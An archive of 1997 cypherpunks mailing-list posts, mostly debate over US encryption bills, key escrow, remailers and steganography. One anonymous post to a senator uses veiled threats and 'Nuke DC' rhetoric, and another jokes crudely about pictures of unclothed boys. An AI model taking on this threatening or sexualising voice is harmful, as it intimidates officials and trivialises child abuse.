In-Reply-To: <970924195003_-899596690@emout12.mail.aol.com>
Message-ID: <v03010d05b04f63315885@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



JuanPyro@aol.com wrote, and I quote in total:

>im writing a screenplay and need very detailed instructions on how to make a
>bomb

I would recommend that you rent the movie "The Producers." They
describe in great detail how to make a bomb in the theatre (with one
tiny error that I'm sure you will be able to circumvent).

Best Regards.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anthony Garcia <agarcia@Starbase.NeoSoft.COM>
Date: Thu, 25 Sep 1997 07:02:37 +0800
To: cypherpunks@Algebra.COM
Subject: FWD: Dear Representative Oxley
Message-ID: <199709242252.RAA14004@Starbase.NeoSoft.COM>
MIME-Version: 1.0
Content-Type: text/plain



For what it's worth.  -Anthony

Date: Wed, 24 Sep 1997 17:47:37 -0500 (CDT)
From: Anthony Garcia <agarcia@Starbase.NeoSoft.COM>
To: Mike.Oxley@mail.house.gov
cc: agarcia
Subject: Dear Representative Oxley

At this time, it looks like your ignorant, anti-Constitutional
amendment to the Safety And Freedom through Encryption Act will be
passed by the Commerce Committee.  This legislation may go on to
be passed by Congress and signed into law by the President.

In case this occurs, I would like you to make note of my home
address and telephone number.  They are:

Anthony Garcia
[address & phone elided for broadcast on cypherpunks list]

If I move to a new address in the future, I will update you.

I telling you this because I fully intend to willfully break
your stupid law exactly 1 minute after the moment it goes into
effect on January 1st, 1999.

I will:
- Manufacture an encryption product that does not support key
  escrow (I will compile source code for encryption software
  which does not support key escrow.)
- Offer to sell that encryption product to any takers for
  the sum of $1.
- Offer that encryption product for free to the public via FTP or HTTP
  file transfer over the Internet.
- Import an encryption software product which does not support
  key escrow by means of file transfer over the Internet from
  a foreign source.

So, get ready to arrest me, Big Mike.  Get out your old FBI shield and
shine it up, because I AM GOING TO BREAK YOUR LAW.  GOT IT?

Sincerely,
-Anthony Garcia
agarcia@neosoft.com

P.S.  When you have some free time, look up a document known as the
"Bill of Rights", and review the sections titled "First Amendment" and
"Fourth Amendment".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 25 Sep 1997 05:31:46 +0800
To: cypherpunks@toad.com
Subject: You Used MY Name?!?!?
Message-ID: <Pfox38eckytenPDoOXhtRQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



To: senator@feinstein.senate.gov
From: HugeCajones Remailer<hc@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "He who shits on the road, will meet flies upon his return."
X-Comments: -
X-Comments: "GOMEZ IS COMING!"
X-Comments: -
X-Comments: This message is NOT from TruthMonster.
X-Comments: It was sent by an automated anonymous asshole under the
X-Comments: auspices of the Electronic Forgery Foundation.
X-Comments: -
X-Comments: Note: Send any complaints about abuse of this remailer 
X-Comments: to the person most concerned about your rights and
X-Comments: freedoms. (Hint: It's a "mirror" site.)
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None
X-Remailer-Setup: Reordering is OFF
X-Remailer-Setup: News Posting DISABLED
X-Remailer-Setup: Subject Header KEPT
X-Remailer-Setup: Logging COMPLETE Messages
X-Remailer-Setup: No PGP messages accepted
Subject: !!! DEATH THREAT !!!

You should be careful before you do foolish things like making a death
threat because it can have really bad results. 
It can make people really nervous and think maybe they should get
you first. Sometimes they hire other people to get you before you get
them-really bad people sometimes. Sometimes even bad people who
act like they are good people and fool everyone until they kill you.
Which brings me to the point I am trying to make:
You should not try to kill the Constitution any more because there is
not enough left to make people safe and they might get really nervous
and think maybe they should get you first-or even after. For revenge.

People like the Constitution a lot and if you are making a death threat
against it then it is like saying your going to kill someone else's
friend or family and everyone knows that they will kill you because 
they are domestic and not a stranger.  Or is it that they are stranger 
and not domesticated?
Never mind. You know what I mean. 
Especially if you try to make it so that they cannot put aluminum foil
hats on their thoughts and their words and their writing. Then they 
get really, really, nervous and maybe start thinking that they have to
kill everybody because they are not safe from anybody. 
You should be careful if you find yourself walking next to someone
whistling that Crosby Stills & Nash song "If you cant kill the one you
love-then kill the one you're with." (ç That's a joke but it would
be really funny if you took it serious and whacked someone out for
whistling it anyway.) (Its not like they have a Constitutional right to
whistle it or anything....hee, hee.)

You should be careful before you vote to kill the Constitution and look
under all your chairs and stuff, just in case. You should maybe look in
your conscience too and see if you are not a bad person maybe. You
should also maybe look in a mirror and make sure you are not cross
eyed and that there is nobody beside you whistling that song "If looks
could kill-then you would only be hurting yourself."(<== that's a joke.)

Even if you do think you can kill the Constitution and still have all of
the people believe you are not a bad person then you should at least
try not to let really stupid people who you work with say things like
"I am too stupid to learn about this stuff so I am going to let the guys
who want to make aluminum foil hats illegal and put everyone in jail
decide how I vote to kill the Constitution."
The one those guys who always say "Nuke DC" call Swinestein said
that and it made everyone think you are all that stupid and going to
let people with guns who kill women and children make your votes
for you. Then even more of them say "Nuke DC" especially when they
remember how bad the guys with the guns that you are letting vote for
you fucked their friend (sorry but thats what they did) for making a 
stink with the IRS.

That is really all I am trying to say. Is that you should be careful
that you dont kill so much of the Constitution and let the guys with 
the guns screw so many people that nobody feels safe from them anymore
because they wont just get nervous about them they will get nervous
about you too because you promised to protect them and didnt.
Just try to remember that it never ends.
If you take away some of the guns from people then you have to take
away all the guns or you are in big trouble. If you take away some of
the Constitution from people then you have to take away all of the
Constitution or you are in big trouble.
Even if you think you took away all of the things that people can use
to be safe and free then they will make more-like Doritos. 
If you try to kill them with bullshit then they will try to kill you
with their own brand of fertilizer. If you take away their aluminum 
foil hats then they will make hats out of paper and call them 
Forever Young.

Killing the Constitution is a lot like killing DC-if your going to do
it then you might as well do it right and do it all at once.
Guys with guns who want to kill Freeh-dumb know that and so do
guys with nukes who are Freeh-dumb fighters. (My uncle made up a
new word about him-he said he "testiLies to Congress.")

Don't be a stranger,
APlayerToBeNamedLater
p.s - If you see Declan McCullagh getting in his car and driving like
hell away from the city then you should get in your car and do the 
same thing. You dont need to pack a suitcase because I think if he
does that then there is already one packed.
(Thats what the guys with guns told you in your secret meetings so 
you will kill the Constitution for them isnt it?)
p.p.s.- If you hear someone say "President Freeh" then do not wait for
Declan just get the hell out of there real fast anyway. You can come 
to my place if you want and help me send out secret aluminum foil
hats. (Bring a whoopee cushion and we will make little funny booms
instead of big scary ones. We are a little more laid back out here in
the country than you guys in the big city.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 25 Sep 1997 09:40:45 +0800
To: Declan McCullagh <lizard@mrlizard.com>
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <3.0.1.32.19970924132310.00b87100@dnai.com>
Message-ID: <3.0.3.32.19970924181510.0314c160@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 06:32 PM 9/24/97 -0400, Declan McCullagh wrote:
>At 13:23 -0700 9/24/97, Lizard wrote:
>>At 09:47 PM 9/24/97 +0200, Peter Herngaard wrote:
>>>They support the penalty enhancement for use of encryption
>>>in futherance of a felony.
>>
>>I don't find this particularly offensive, on the grounds that if 
you're
>>convicted of any given crime, the government can more-or-less drum 
up so
>>many related charges they can put you away for 500 years ANYWAY, so 
what
>>difference does it make?
>
>Lizard's position is sadly incoherent. If he believes in civil 
liberties --
>and I know he does -- then he should think twice. Just because the 
federal
>government has broad powers doesn't mean we should give them more.
>
<shrug> Rather, my position is that the system is ALREADY hopelessly 
corrupt and imbalanced;altering the letter of the law to say '20 
years' as opposed to '10 years' FOR SOMETHING THAT SHOULDN'T BE A 
CRIME AT ALL is irrelevant. The government can just as easily create 
two trumped-up ten year charges as it can one 20 year charge;'law' 
and 'justice' have nothing to do with one another anymore.

The whole concept of criminilizing the use of crpytography is 
offensive;the exact specifics -- 10 years or 20 years -- are pretty 
much the same.

Though, on second thought, there is a serious issue with it -- if, as 
we hope, encryption becomes widespread, than anyone doing anything 
will be using it;including 'in the commission of a crime'. This could 
make petty misdemeanors into 20 year federal crimes, and THAT is 
something to worry about. Hm.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCm7HjKf8mIpTvjWEQL6ywCgrLu61z4DOjcIgboX8wJPZaKxHE4An2yH
QzcO/ZeobOWzOnhM5CxeULp4
=pwGM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 25 Sep 1997 06:25:56 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Letter
In-Reply-To: <Pine.LNX.3.91.970923110724.359A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.96.970924181116.877A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 23 Sep 1997, Paul Bradley wrote:

> I gather that Jim has been sentenced recently during my absence from the 
> list, can you tell me what charges he was convicted on and how long he 
> was sentenced to? 

Jim pleaded guilty to "interfering with an IRS agent" or somesuch and use
of a false Social Security Number.  According to
http://www.jya.com/jimbell-dock2.htm, his sentencing is scheduled for
October 17.

>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 
> 



Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 09:22:41 +0800
To: Lizard <lizard@mrlizard.com>
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <Pine.3.89.9709242132.A24955-0100000@inet.uni-c.dk>
Message-ID: <v03007803b04f44c3de03@[204.254.22.38]>
MIME-Version: 1.0
Content-Type: text/plain



At 13:23 -0700 9/24/97, Lizard wrote:
>At 09:47 PM 9/24/97 +0200, Peter Herngaard wrote:
>>They support the penalty enhancement for use of encryption
>>in futherance of a felony.
>
>I don't find this particularly offensive, on the grounds that if you're
>convicted of any given crime, the government can more-or-less drum up so
>many related charges they can put you away for 500 years ANYWAY, so what
>difference does it make?

Lizard's position is sadly incoherent. If he believes in civil liberties --
and I know he does -- then he should think twice. Just because the federal
government has broad powers doesn't mean we should give them more.

Under Lizard's reasoning, he should find a law outlawing "breathing air (or
speaking Spanish) in the commission of a crime" acceptable. Or at least not
"particularly offensive."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 25 Sep 1997 01:53:54 +0800
To: nospam-seesignature@ceddec.com
Subject: copyright & privacy (was Re: "Matchcode" technology sparks privacy flames.....)
In-Reply-To: <97Sep24.112449edt.32257@brickwall.ceddec.com>
Message-ID: <199709241736.SAA04219@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tom Zerucha writes:
> On Tue, 23 Sep 1997, Declan McCullagh wrote:
> 
> Technically, I am arguing for property rights in reputation.  Patent
> and copyright are already recognized property rights in information.

And this is a good thing?

> The "raw" FBI files Livingstone got are an example - they contain lots of
> unverified rumor and gossip and could be used to damage the people they
> are about.  Did Livingstone do anything wrong, and would there be a
> problem posting such information on the internet?

It would be a real boon for privacy if they were posted to the
internet.  The fall-out ought to reduce government reporting demands.

> How about personal information such as credit card or social security
> numbers or even tax records - you are saying if I can get them, I should
> be able to publish them. 

Bingo!  What you don't want published don't publish.

Don't like it?  Don't reveal information you don't want published.
Argue for chaumian credentials.

btw. your "you are saying if I can get them, I should be able to
publish them." is almost a tautology -- clearly if you get information
you _can_ publish it anonymously.  Therefore anything that is
obtainable is not private.  

Laws claiming to regulate what you can _know_ (data protection laws)
are dumber yet, as it is legislating that you must forget something.
And it is unenforceable -- who knows what you have on your database.

> > That is why many "privacy laws" are censorship in disguise.
> 
> Then on the same basis, are copyright laws.  If I can get a copy of MS
> Office, should I be able to publish that?  Copyright does not directly
> prevent me from obtaining the information, but it does prevent others from
> publishing the information without my permission.  

Copyright doesn't prevent squat.  It just sets up a procedure for your
local force monopoly to harass you if you don't follow the procedure.

> (if I remember right the Berne convention says something is still
> protected even if no formal steps have been taken).

More laws against gravity.

> If you are arguing that there should be no legal protection for
> information of any sort (including patent or copyright) I think you have a
> point.  We then would have an equal opportunity for information piracy. 

Scrap patents and copyright.  Disband WIPO police.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 25 Sep 1997 01:57:10 +0800
To: FisherM@exch1.indy.tce.com
Subject: Re: The great GAK crack (making GAK economically impossible) (fwd)
In-Reply-To: <2A22D88740F0D01196BD0000F840F43F954F15@tceis5.indy.tce.com>
Message-ID: <199709241739.SAA04227@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mark Leighton Fisher <fisherm@indy.tce.com> writes:
> If domestic GAK is mandated, my recommendation to my employer will
> be to not transmit anything via the Internet that we wouldn't want
> on the cover of The New York Times (or EE Times).

Excellent advice.  Perhaps you could get them to pass on your planned
recommendations to the GAKkers in DC.

> As a U.S. subsidiary of a foreign corporation, I would not be
> surprised if our communications were decrypted and the contents
> passed along to our U.S. competitors if domestic GAK is mandated.
> (Can you say, "industrial espionage"?  I knew you could.)

I am positive your suspicions are correct.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 25 Sep 1997 10:25:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional     rights
In-Reply-To: <342abc87.8873306@128.2.84.191>
Message-ID: <3.0.3.32.19970924184150.0077a5fc@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713733.multipart/signed"

--Boundary..3984.1071713733.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

In response to one of my previous posts, at 07:21 AM 9/24/97 GMT,
phelix@vallnet.com wrote:
>Would people want to use eudora (their main email program) as a remailer,
>and have to wait for it to process all those messages each time they read
>their mail?  Is there a demand for users with dial-up accounts to be
>remailers?
>
>(I'm not being critical, I'm just asking.  I never thought about using
>eudora as a remailer server)

Send me cash / check / money order with your PGP key fingerprint attached,
and I will allow you to send up to 100KB anonymously per day for $10 /
month. Or something like that. (Once the plugin is installed on my machine,
of course.) The plugin should  have tools for maintaining the list of
authorized users, with the ability to delete unwanted to-be-remailed
messages directly off the POP server without downloading them.

>>The remailer plugin should be able to:
>>1. Scan all available sources of remailer availability / reliability.
>>2. Allow the user to select a pool of trusted remailers.
>>3. Allow the user to select the number of remailers in the chain.
>>4. Randomly select remailers from the pool.
>>5. Encrypt / add headers to the outgoing message to match the selected
>>remailers.
>
>Good Idea.  Are people comfortable with not choosing the exact order of the
>remailers used?

You should be able to override the default choice, but having the computer
doing the grunt work will nake using the remailing feature more convenient.

>>>Stenography Plugin for mail/news readers.  It's our one (and possibly only)
>>>defense against GAK.  You can't decrypt what you can't see.  (watch for
>>>Stenography to be classified as encryption and be similarly restricted.)
>>
>
>>Look for AOL and other ISP's to automatically run a "noise reduction"
>>filter (as in CoolEdit 96) on .wav / .jpg files if GAK becomes mandatory.
>>CoolEdit's noise reduction filter is great for removing tape hiss and other
>>constant background noise from sound files, (it can make a cheap tape deck
>>sound like a cheap CD player) but it would obviously destroy any stegoed
>>data. The noise reduction algorithm is very processor intensive--it takes
>>my 586/133 about an hour to NR a 3 minute stereo 44 KHz recording, but I'm
>>sure you could set up a "light" version of the filter that would destroy
>>stego data without taking as long.
>>
>
>And how does one tell the difference between a JPEG image and a executable
>program after they're uuencoded (assuming one does not follow MIME
>conventions)?  Will we be required by law to identify, in clear plaintext,
>the nature and contents of all our messages?

What is uuencoded can be trivially uudecoded to determine the content type
by direct examination of the data. (uuencoding != encryption) And if all
.wav files are mandatorily "noise filtered" by your friendly ISP, then the
answer would probably be yes.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3984.1071713733.multipart/signed
Content-Type: application/octet-stream; name="pgp00009.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00009.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IGdkbHhDU0tKVTBx
VDVKcFJPVHdDSGsvYzk0YnZ5U0grCgppUUEvQXdVQk5Dbkl0TUpGMGtYcXB3
M01FUUtmdWdDZU9jUXdzS0dKSnVjUDlpVHhnWjA4Uk1FdEdvUUFvTnFSCmJI
Z0oyekI5VWIyOEwwblkxNHk0UFRucgo9OGdJeAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713733.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 25 Sep 1997 10:27:14 +0800
To: Lizard <lizard@mrlizard.com>
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <v03007803b04f44c3de03@[204.254.22.38]>
Message-ID: <v03102801b04f78b7716f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:15 PM -0700 9/24/97, Lizard wrote:

>Though, on second thought, there is a serious issue with it -- if, as
>we hope, encryption becomes widespread, than anyone doing anything
>will be using it;including 'in the commission of a crime'. This could
>make petty misdemeanors into 20 year federal crimes, and THAT is
>something to worry about. Hm.

I think you're beginning to see what we have been saying for many months....

I think it was Bill Stewart who recently described all the various minor
crimes which will likely soon involve crypto, things like calling for a
hooker on a phone that has crypto in it, using a Metricom Ricochet wireless
system to send banned words to a foreigner, and so on. All kinds of minor
crimes suddenly have 10- and 20-year sentences attached.

(Do I think it likely that someone ordering the hooker du jour with his
cellphone will face such sentences? Probably not. They're small fry. But
political persons, like Jim Bell, like others, will very likely see these
10- and 20-year sentences--which will go into the "sentencing guidelines"
(rules) and hence be almost unavoidable--and this will help them to come to
really and truly _love_ Big Brother!)

The good news today is that if Salomon keeps to his word, the Security and
Fascism Through Escrow Act is dead, dead, dead.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 25 Sep 1997 08:38:31 +0800
To: cypherpunks@manifold.algebra.com
Subject: Soviet spies at NSA
Message-ID: <199709250025.TAA06307@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



http://customnews.cnn.com/cnews/pna.show_story?p_art_id=341606&p_section_name=&p_art_type=11066&p_subcat=Russia&p_category=Europe

[look at the last paragraph]

Former Army Clerk Sentenced for Cold War
             Espionage

             AP
             24-SEP-97

             PHILADELPHIA (AP) A former Army clerk at the National
             Security Agency was sentenced to 18 years in prison
             Wednesday for selling secrets to the Soviet Union three
             decades ago.

             Robert S. Lipka, 51, pleaded guilty in May to conspiracy to
             commit espionage. He was arrested last year after his
             ex-wife betrayed him.

             "I put this to rest many years ago, and I never dreamed it
             would come out like this," a tearful Lipka told U.S.
             District Judge Charles R.  Weiner. "I owe an apology to a
             lot of people."

             Lipka was trained as an intelligence analyst and had top
             security clearance with the NSA at Fort Meade, Md., where
             he was responsible for distributing and destroying
             classified documents.

             Between 1965 and 1967, Lipka photographed documents with a
             camera provided by the Soviets and dropped the film off in
             a park for up to $1,000 a drop, prosecutors said. He
             allegedly got a total of $27,000 from the KGB.

             In the late 1960s, Lipka told his then-wife, Patricia, that
             he was selling NSA materials to the Soviets. The couple
             married in 1966 and divorced in 1974.

             In 1993, after Lipka's wife went to authorities, Lipka
             recounted the arrangement for an FBI agent posing as a
             Soviet spy.

             After his arrest, the coin collector and gambler from
             Millersville threatened to reveal government secrets on the
             Internet if his case were not dropped.

             The judge also fined Lipka $10,000.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JuanPyro@aol.com
Date: Thu, 25 Sep 1997 08:07:58 +0800
To: cypherpunks@toad.com
Subject: bombs
Message-ID: <970924195003_-899596690@emout12.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



im writing a screenplay and need very detailed instructions on how to make a
bomb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Reusch <reusch@home.com>
Date: Thu, 25 Sep 1997 08:19:35 +0800
To: cypherpunks@cyberpass.net
Subject: Just don't get GAK
Message-ID: <3.0.1.32.19970924200403.007a69a0@mail.ewndsr1.nj.home.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the DOJs' letter to all CongressPersons in re SAFE,
http://jya.com/hr105-108-pt4.htm, signed by Reno and Freeh, one has

"Further, today's international drug trafficking
organizations are the most powerful, ruthless and affluent
criminal enterprises we have ever faced. We know from numerous
past investigations that they have utilized their virtually
unlimited wealth to purchase sophisticated electronic equipment
to facilitate their illegal activities."

How can anyone expect that mandated GAK will do anything
at all to prevent "affluent criminal enterprises" from using
steganography, covert channels, etc. and why is this point never 
directly addressed?

Lord knows I can use the dinero and I can stego this months'
receipts mui pronto. Entende amigo?

Am I supposed to believe that tools for steganography, etc. are
not already widely and irretrievably disseminated? Or am I to 
assume that gaked traffic between inept felons is so valuable as 
to justify the $? infrastructure implied by the Weldon/Dellums and/or
Oxley amendments (what awaits in the Senate)?

US security agencies have recently emphasized the value of intelligence
received from unencrypted channels (don't remember where). Perhaps, this 
is because they decrypt ever less and less of the remainder.

But if traffic between the duh set is that great, why not just maintain the
status quo? Or is this some evil plot to listen to our bathroom sounds?

Abracos,

	Puzzled





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 25 Sep 1997 13:01:37 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Crypto-victory in Commerce; Oxley talks about nuking Congress
In-Reply-To: <v03007801b04f6fd3f0ab@[204.254.21.43]>
Message-ID: <v03102808b04f89b8e1e1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Declan McCullagh wrote:
>The future, however, is uncertain. The bill now goes to the
>House Rules committee, whose chairman said today in a
>strongly-worded letter that he'd only allow a bill to go to
>the floor if it included Oxley's amendment. Look for a hell
>of a lot of behind-the-scenes lobbying on this now...

Might this not now be used to our advantage.  If partisans from our side
can bait the stubborn committee members into quashing the bill, we've won
an even greater victory...no new crypto bill.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 25 Sep 1997 11:38:22 +0800
To: "Robert A. Costner" <cypherpunks@toad.com
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <3.0.3.32.19970924181510.0314c160@dnai.com>
Message-ID: <v03102802b04f89274dfc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:31 PM -0700 9/24/97, Robert A. Costner wrote:

>In Georgia the presence of a beeper is synonymous with drug sales.  At
>least with law enforcement agencies.  Probationers and parolees are not

In Silicon Valley, the presence of a beeper is synomynous with one being a
technician or someone similar.  To keep the furnaces running, or whatever.
(Real Executives (TM), of course do not carry beepers.)

It appears we live on different planets. Further evidence that not only
should we allow Georgia secede, we should kick them out.

All the more reason for the Bill of Rights to be scrupulously adhered to.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Thu, 25 Sep 1997 08:37:42 +0800
To: agarcia@neosoft.com
Subject: oxley amendment
Message-ID: <CMM.0.90.4.875147381.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



a fine statement which I would be proud to echo. 
however I heard (I've been calling every hour) from a staffer in 
Tauzin's office that the amendment was defeated after all! he didn't
have the numbers and I couldn't find out about the competing propossal,
but he was quite sure that oxley went down in flames. I wish I could
confirm this from some other source, but the news will be out there
one way or another tomorrow morning so we'll all know...

yes, I found it on cdt's home page, they must have just put this
up! the committee ditched the earlier amendment adding
extra export restrictions, but they did approve the white amendment
which toughens the criminal penalties for use of encryption to 
further a crime.

*whew* we actually won one! but there is a long way to go yet...


Ariel Glenn
ariel@columbia.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 25 Sep 1997 13:04:26 +0800
To: cypherpunks@toad.com
Subject: Re: You Used MY Name?!?!?
In-Reply-To: <Pfox38eckytenPDoOXhtRQ==@bureau42.ml.org>
Message-ID: <v03102809b04f8c7b87f8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:02 PM +0000 9/24/97, bureau42 Anonymous Remailer wrote:
>To: senator@feinstein.senate.gov
>From: HugeCajones Remailer<hc@dev.null>
>You should be careful before you do foolish things like making a death
>threat because it can have really bad results.

Threats are dangerous and illogical...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 25 Sep 1997 09:25:56 +0800
To: cypherpunks@toad.com
Subject: Re: Oxley Amendment
Message-ID: <1.5.4.32.19970925010403.008bf074@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Ariel Glenn for pointing to CDT's for quick posting
of  the SAFE vote against Oxley-Manton, for Markey-White:

   http://www.cdt.org/crypto/legis_105/SAFE/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 25 Sep 1997 09:57:58 +0800
To: cypherpunks@toad.com
Subject: Re: NAMBLA
In-Reply-To: <970923211837_-994610816@emout02.mail.aol.com>
Message-ID: <u0BkDe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Boat1688@aol.com writes:
>
> How do I get some of these pics of boys in swimsuits?

Better yet, ask Prof. Crispin about his collection of pics of little boys
WITHOUT swimsuits.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 09:56:52 +0800
To: cypherpunks@toad.com
Subject: Crypto-victory in Commerce; Oxley talks about nuking Congress
Message-ID: <v03007801b04f6fd3f0ab@[204.254.21.43]>
MIME-Version: 1.0
Content-Type: text/plain



So I'm sitting here in the lobbyist warren of the Capitol
Grille on Pennsylvania Avenue getting sloshed on expensive
beer -- and sick on the clouds of cigar smoke from industry
representatives flush from their victory in the House
Commerce committee earlier this evening.

And they do have cause to celebrate. A week ago, the
outlook in Congress was dismal. The House Intelligence
committee had approved (during a closed hearing) the
first-ever domestic restrictions on what technologies
Americans can use to protect their privacy. The House
Commerce committee seemed certain to follow. Rep. Oxley,
who was pushing the proposal, told me last week he had the
votes sewn up.

